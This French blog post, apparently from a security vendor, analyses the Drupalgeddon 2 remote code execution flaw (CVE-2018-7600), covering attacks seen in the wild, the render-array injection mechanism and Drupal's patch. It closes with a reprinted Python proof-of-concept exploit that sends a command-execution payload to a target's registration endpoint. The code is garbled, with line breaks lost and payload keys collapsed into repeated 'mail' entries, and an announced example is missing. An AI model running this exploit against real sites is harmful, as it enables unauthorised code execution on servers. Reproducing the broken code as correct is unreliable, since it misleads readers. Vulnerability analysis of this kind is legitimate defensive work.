Drupalgeddon 2 RCE – Blog SecPod

Plus d’un million de sites Web actifs utilisent Drupal, ce qui en fait le deuxième système de gestion de contenu le plus utilisé au monde après WordPress. Le 28 mars 2018, Drupal a publié des correctifs de sécurité pour les versions 6 à 8 suggérant de mettre à jour immédiatement et de marquer la vulnérabilité sous-jacente (CVE-2018-7600) comme critique avec l’exécution de code à distance. L’analyse et les attaques sur les sites Web utilisant Drupal ont augmenté de manière exponentielle comme prévu, mais il n’y a eu aucun rapport d’exploitation de la vulnérabilité dans la nature. Puis il y a quelques jours, un chercheur en sécurité russe a publié un code d’exploit de preuve de concept (POC) sur GitHub et Internet est devenu fou.

L’exploitation s’est accumulée et les attaquants ont commencé à l’utiliser pour installer des mineurs de crypto-monnaie et des portes dérobées de logiciels malveillants. On pense que l’une des campagnes Monero miner qui a livré XMRig tout en exploitant la vulnérabilité (CVE-2017-10271) dans les serveurs Oracle WebLogic est impliquée.

Selon les statistiques, 90% des attaques Drupalgeddon 2 ne sont que des analyses pour trouver des systèmes vulnérables, 3% sont des tentatives d’infection par une porte dérobée et 2% tentent d’exécuter des mineurs de cryptographie.

Dans son avis, Drupal avertit que « les sites non corrigés d’ici le mercredi 11/04/2018 peuvent être compromis » et que « la simple mise à jour de Drupal ne supprimera pas les portes dérobées ni ne corrigera les sites compromis. Si vous constatez que votre site est déjà corrigé, mais que vous ne l’avez pas fait, cela peut être un symptôme que le site a été compromis. Certaines attaques dans le passé ont appliqué le correctif pour garantir que seul cet attaquant contrôle le site. »

Jargon technique

Drupal a introduit son API de formulaire dans Drupal 6 qui permettait de modifier les données de formulaire pendant le processus de rendu du formulaire. Cela a révolutionné la façon dont le traitement des balises fonctionnait. Dans Drupal 7, l’API de formulaire a été généralisée à ce qui est maintenant connu sous le nom de « Tableaux rendus ». Cette API étendue est utilisée pour représenter la structure de la plupart des éléments de l’interface utilisateur de Drupal, tels que les pages, les blocs, les nœuds, etc. Les tableaux rendus contiennent des métadonnées utilisées dans le processus de rendu. Ces tableaux rendus sont une structure clé-valeur dans laquelle les clés de propriété commencent par un signe de hachage (#). Un exemple:

Drupal a publié un correctif ajoutant une seule classe RequestSanitizer avec une méthode stripDangerousValues qui désactive tous les éléments d’un tableau d’entrée pour les clés commençant par un signe de hachage. Cette méthode assainit les données d’entrée dans $_GET,__POST & $_COOKIES pendant les toutes premières étapes du bootstrap de Drupal (immédiatement après le chargement des configurations du site). On peut supposer que la raison pour laquelle le correctif a été publié est de rendre une vulnérabilité existante plus difficile à trouver.

La vulnérabilité a été trouvée dans les formulaires. Le formulaire d’inscription de l’utilisateur qui ne nécessite aucune authentification et est accessible de manière anonyme contient plusieurs champs de saisie et peut être exploité.

Source de l’image: Checkpoint, Dofinity

Il était hautement probable que l’injection d’un tableau rendu exploiterait la vulnérabilité, la question était de savoir où?

Il s’avère que le champ « Adresse e-mail » n’assainit pas le type d’entrée qu’il reçoit, ce qui nous a permis d’injecter le tableau rendu dans la structure du tableau de formulaires.

Source de l’image: Checkpoint, Dofinity

Maintenant, tout ce dont nous avions besoin était que Drupal rende notre tableau injecté. Puisque Drupal traite notre tableau injecté comme une valeur et non comme un élément, nous devions tromper Drupal pour le rendre. Drupal rend un tableau lors d’un événement de chargement de page ou via l’API Drupal AJAX.

Le champ « Image » du formulaire d’inscription de l’utilisateur utilise l’API AJAX de Drupal pour télécharger une image et la remplacer par une vignette de l’image téléchargée.

Preuve de concept (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.

Related Posts